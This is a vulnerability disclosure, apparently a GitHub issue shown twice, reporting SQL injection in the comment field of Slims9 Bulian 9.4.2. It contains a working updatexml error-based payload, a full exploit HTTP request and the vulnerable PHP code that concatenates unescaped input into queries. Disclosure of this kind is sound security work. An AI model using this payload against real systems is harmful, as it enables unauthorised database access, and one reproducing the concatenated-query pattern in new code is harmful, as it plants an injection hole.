Slims9 Bulian 9.4.2 is affected by SQL injection in lib/comment.inc.php. User data can be obtained.
SQL injection exists in the lib/comment.inc.php file. There is no effective defense against the comment field, leading to SQL injection attacks.
Ordinary user login "find a book" SQL injection attack in the comments (example:`'and/**/1=(updatexml(1,concat(0x3a,(select/**/user())),1) )/**/and/**/'1'='1`
)
<img width="934" alt="5" src="https://user-images.githubusercontent.com/18564938/147071549-90380ba8-eeeb-4bb7-86b0-718de1df0f22.png">
<img width="756" alt="6" src="https://user-images.githubusercontent.com/18564938/147071593-bc47a5f7-f068-4c76-b424-a02c954c7eb4.png">

`SQL Injection request: 
POST /index.php?p=show_detail&id=17 HTTP/1.1
Host: 192.168.31.63
Content-Length: 110
Cache-Control: max-age=0
Origin: http://192.168.31.63
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.9
Referer: http://192.168.31.63/index.php?p=show_detail&id=17
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_logged_in=1; ckCsrfToken=QlUPE9DlsBjESqNjH6x7Mb9y7y7cIl24Tq13u7c6; SenayanMember=do2fk5pq9qdkqo1phadksnm0u9
Connection: close

comment='and/**/1=(updatexml(1,concat(0x3a,(select/**/user())),1))/**/and/**/'1'='1
&SaveComment=Save+comment`

`Vulnerable code:
$_sql = "Select c.comment, m.member_name, c.input_date from comment AS c
LEFT JOIN biblio AS b ON b.biblio_id = c.biblio_id
LEFT JOIN member AS m ON m.member_id = c.member_id
WHERE b.biblio_id =".$_detail_id.
"ORDER BY c.last_update DESC";
$commlist = $dbs->query($_sql);
if ($commlist) {
$_all_recs = $commlist->num_rows;
}
if ($_all_recs >0) {
$_page = ($page -1) * $_recs_each_page;
$_sql .= "Limit". $_page. ", ". $_recs_each_page;
$commlist = $dbs->query($_sql);
$_list_comment .='<div class="comment-found">'. $_all_recs. __(' comments available').'</div>';
while ($_data = $commlist->fetch_assoc()) {
$_list_comment .='<div class="comments">';
$_list_comment .='<div class="comment-member">'.$_data['member_name']. __(' at'). $_data['input_date']. __(' write').'</ div>';
$_list_comment .='<div class="comment-content">'. $_data['comment'].'</div>';
$_list_comment .='</div>';
}
$_list_comment .='<div class="comment-found">'.simbio_paging::paging($_all_recs, $_recs_each_page, $int_pages_each_set = 10,'','_self').'</div>';
}

if (ISSET($_SESSION['mid'])) {
// Comment form
$_forms ='<form method="post" action="index.php?p=show_detail&id='.$_detail_id.'" class="comment-form">';
$_forms .= simbio_form_element::textField('textarea','comment','','placeholder="Add your comment" class="comment-input form-control"').'<br />';
$_forms .='<input type="submit" name="SaveComment" value="Save comment" class="s-btn btn btn-primary">';
$_forms .= \Volnix\CSRF\CSRF::getHiddenInputString();
$_forms .='</form>';
return $_list_comment.$_forms;`
[Security Bugs] Sql Injection
This is a GitHub Issue
repo:slims9_bulian
owner:slims
Title : [Security Bugs] Sql Injection
Issue date:

--- start body ---
SQL injection exists in the lib/comment.inc.php file. There is no effective defense against the comment field, leading to SQL injection attacks.
Ordinary user login "find a book" SQL injection attack in the comments (example:`'and/**/1=(updatexml(1,concat(0x3a,(select/**/user())),1) )/**/and/**/'1'='1`
)
<img width="934" alt="5" src="https://user-images.githubusercontent.com/18564938/147071549-90380ba8-eeeb-4bb7-86b0-718de1df0f22.png">
<img width="756" alt="6" src="https://user-images.githubusercontent.com/18564938/147071593-bc47a5f7-f068-4c76-b424-a02c954c7eb4.png">

`SQL Injection request: 
POST /index.php?p=show_detail&id=17 HTTP/1.1
Host: 192.168.31.63
Content-Length: 110
Cache-Control: max-age=0
Origin: http://192.168.31.63
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3; q=0.9
Referer: http://192.168.31.63/index.php?p=show_detail&id=17
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_logged_in=1; ckCsrfToken=QlUPE9DlsBjESqNjH6x7Mb9y7y7cIl24Tq13u7c6; SenayanMember=do2fk5pq9qdkqo1phadksnm0u9
Connection: close

comment='and/**/1=(updatexml(1,concat(0x3a,(select/**/user())),1))/**/and/**/'1'='1
&SaveComment=Save+comment`

`Vulnerable code:
$_sql = "Select c.comment, m.member_name, c.input_date from comment AS c
LEFT JOIN biblio AS b ON b.biblio_id = c.biblio_id
LEFT JOIN member AS m ON m.member_id = c.member_id
WHERE b.biblio_id =".$_detail_id.
"ORDER BY c.last_update DESC";
$commlist = $dbs->query($_sql);
if ($commlist) {
$_all_recs = $commlist->num_rows;
}
if ($_all_recs >0) {
$_page = ($page -1) * $_recs_each_page;
$_sql .= "Limit". $_page. ", ". $_recs_each_page;
$commlist = $dbs->query($_sql);
$_list_comment .='<div class="comment-found">'. $_all_recs. __(' comments available').'</div>';
while ($_data = $commlist->fetch_assoc()) {
$_list_comment .='<div class="comments">';
$_list_comment .='<div class="comment-member">'.$_data['member_name']. __(' at'). $_data['input_date']. __(' write').'</ div>';
$_list_comment .='<div class="comment-content">'. $_data['comment'].'</div>';
$_list_comment .='</div>';
}
$_list_comment .='<div class="comment-found">'.simbio_paging::paging($_all_recs, $_recs_each_page, $int_pages_each_set = 10,'','_self').'</div>';
}

if (ISSET($_SESSION['mid'])) {
// Comment form
$_forms ='<form method="post" action="index.php?p=show_detail&id='.$_detail_id.'" class="comment-form">';
$_forms .= simbio_form_element::textField('textarea','comment','','placeholder="Add your comment" class="comment-input form-control"').'<br />';
$_forms .='<input type="submit" name="SaveComment" value="Save comment" class="s-btn btn btn-primary">';
$_forms .= \Volnix\CSRF\CSRF::getHiddenInputString();
$_forms .='</form>';
return $_list_comment.$_forms;`
--- end body ---
